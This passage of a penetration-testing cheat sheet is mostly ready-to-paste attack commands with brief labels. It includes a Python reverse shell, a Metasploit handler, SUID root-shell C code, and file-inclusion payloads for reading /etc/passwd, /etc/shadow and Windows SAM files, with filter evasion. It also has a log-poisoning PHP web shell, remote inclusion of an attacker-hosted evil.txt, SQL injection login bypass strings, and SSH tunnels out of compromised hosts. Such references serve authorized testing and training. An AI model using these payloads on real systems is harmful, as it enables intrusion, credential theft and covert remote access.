    • Cut a string by a delimiter, filter results then sort
      grep "href=" index.html | cut -d "/" -f 3 | grep "\\." | cut -d '"' -f 1 | sort -u

    • Using Grep and regular expressions and output to a file
      cat index.html | grep -o 'http://\[^"\]\*' | cut -d "/" -f 3 | sort –u > list.txt

    • Use a bash loop to find the IP address behind each host
      for url in $(cat list.txt); do host $url; done

  • Spawning a TTY Shell - Break out of Jail or limited shell You should almost always upgrade your shell after taking control of an apache or www user. (For example when you encounter an error message when trying to run an exploit sh: no job control in this shell ) (hint: sudo -l to see what you can run)

    • python -c 'import pty; pty.spawn("/bin/sh")'

    • python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("$ip",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

    Handlers Metasploit handlers can be great at quickly setting up Metasploit to be in a position to receive your incoming shells. Handlers should be in the following format.

    use exploit/multi/handler

    set PAYLOAD

    set LHOST

    set LPORT

    set ExitOnSession false

    exploit -j -z

    Once the required values are completed the following command will execute your handler – ‘msfconsole -L -r ‘

  • Local Privilege Escalation Exploit in Linux

    • SUID (Set owner User ID up on execution)
      Often SUID C binary files are required to spawn a shell as a superuser, you can update the UID / GID and shell as required.

      below are some quick copy and paste examples for various shells:

      SUID C Shell for /bin/bash

      int main(void){
      setresuid(0, 0, 0);
      system("/bin/bash");
      }

      SUID C Shell for /bin/sh

      int main(void){
      setresuid(0, 0, 0);
      system("/bin/sh");
      }

      Building the SUID Shell binary
      gcc -o suid suid.c
      For 32 bit:
      gcc -m32 -o suid suid.c

    • Create and compile an SUID from a limited shell (no file transfer)
      echo "int main(void){\nsetgid(0); setuid(0);\nsystem(\"/bin/sh\");\n}" >privsc.c
      gcc privsc.c -o privsc

  • Add users to Root SUDO group with no password requirement

  • File Inclusion Vulnerabilities

    • Local (LFI) and remote (RFI) file inclusion vulnerabilities are commonly found in poorly written PHP code.

    • fimap - There is a Python tool called fimap which can be leveraged to automate the exploitation of LFI/RFI vulnerabilities that are found in PHP (sqlmap for LFI):
      https://github.com/kurobeats/fimap

      • Gaining a shell from phpinfo()
        fimap + phpinfo() Exploit - If a phpinfo() file is present, it’s usually possible to get a shell, if you don’t know the location of the phpinfo file fimap can probe for it, or you could use a tool like OWASP DirBuster.

    • For Local File Inclusions look for the include() function in PHP code.
      include("lang/".$_COOKIE['lang']);
      include($_GET['page'].".php");

    • LFI - Encode and Decode a file using base64
      curl -s http://$ip/?page=php://filter/convert.base64-encode/resource=index | grep -e '[^\ ]\{40,\}' | base64 -d

    • LFI - Download file with base 64 encoding
      http://$ip/index.php?page=php://filter/convert.base64-encode/resource=admin.php

    • LFI Linux Files:
      /etc/issue
      /proc/version
      /etc/profile
      /etc/passwd
      /etc/passwd
      /etc/shadow
      /root/.bash_history
      /var/log/dmessage
      /var/mail/root
      /var/spool/cron/crontabs/root

    • LFI Windows Files:
      %SYSTEMROOT%\repair\system
      %SYSTEMROOT%\repair\SAM
      %SYSTEMROOT%\repair\SAM
      %WINDIR%\win.ini
      %SYSTEMDRIVE%\boot.ini
      %WINDIR%\Panther\sysprep.inf
      %WINDIR%\system32\config\AppEvent.Evt

    • LFI OSX Files:
      /etc/fstab
      /etc/master.passwd
      /etc/resolv.conf
      /etc/sudoers
      /etc/sysctl.conf

    • LFI - Download passwords file
      http://$ip/index.php?page=/etc/passwd
      http://$ip/index.php?file=../../../../etc/passwd

    • LFI - Download passwords file with filter evasion
      http://$ip/index.php?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd

    • Local File Inclusion - In versions of PHP below 5.3 we can terminate with null byte
      GET /addguestbook.php?name=Haxor&comment=Merci!&LANG=../../../../../../../windows/system32/drivers/etc/hosts%00

    • Contaminating Log Files <?php echo shell_exec($_GET['cmd']);?>

    • For a Remote File Inclusion look for php code that is not sanitized and passed to the PHP include function and the php.ini file must be configured to allow remote files /etc/php5/cgi/php.ini - “allow_url_fopen” and “allow_url_include both set to “on”
      include($_REQUEST["file"].".php");

    • Remote File Inclusion
      http://$ip/addguestbook.php?name=a&comment=b&LANG=http://$localip/evil.txt
      <?php echo shell_exec("ipconfig");?>

  • Database Vulnerabilities

    • MySQL SQL

    • Grab password hashes from a web application mysql database called “Users” - once you have the MySQL root username and password
      mysql -u root -p -h $ip
      use "Users"
      show tables;
      select * from users;

    • Authentication Bypass
      name='wronguser' or 1=1;#
      name='wronguser' or 1=1 LIMIT 1;#

    • Enumerating the Database
      http://$ip/comment.php?id=738’
      Verbose error message?

Networking, Pivoting and Tunneling

  • Port Forwarding - accept traffic on a given IP address and port and redirect it to a different IP address and port

    • apt-get install rinetd

    • cat /etc/rinetd.conf
      # bindadress bindport connectaddress connectport
      w.x.y.z 53 a.b.c.d 80

  • SSH Local Port Forwarding: supports bi-directional communication channels

    • ssh <gateway> -L <local port to listen>:<remote host>:<remote port>

  • SSH Remote Port Forwarding: Suitable for popping a remote shell on an internal non routable network

    • ssh <gateway> -R <remote port to bind>:<local host>:<local port>

  • SSH Dynamic Port Forwarding: create a SOCKS4 proxy on our local attacking box to tunnel ALL incoming traffic to ANY host in the DMZ network on ANY PORT

    • ssh -D <local proxy port> -p <remote port> <target>

  • Proxychains - Perform nmap scan within a DMZ from an external computer

    • Create reverse SSH tunnel from Popped machine on :2222
      ssh -f -N -R 2222:$ip:22 root@$ip

    • Create a Dynamic application-level port forward on 8080 thru 2222
      ssh -f -N -D $ip:8080 -p 2222 hax0r@$ip

    • Leverage the SSH SOCKS server to perform Nmap scan on network using proxy chains
      proxychains nmap --top-ports=20 -sT -Pn $ip/24

  • HTTP Tunneling
    nc -vvn $ip 8888

  • Traffic Encapsulation - Bypassing deep packet inspection

    • http_tunnel
      On server side:
      sudo hts -F <server_ip_addr>:<port_of_your_app> 80
      On client side:
      sudo htc -P <my_proxy.com:proxy_port> -F <port_of_your_app> <server_ip_addr>:80
      stunnel

  • Tunnel Remote Desktop (RDP) from a Popped Windows machine to your network

    • Tunnel on port 22
      plink -l root -pw pass -R 3389:$ip:3389 $ip
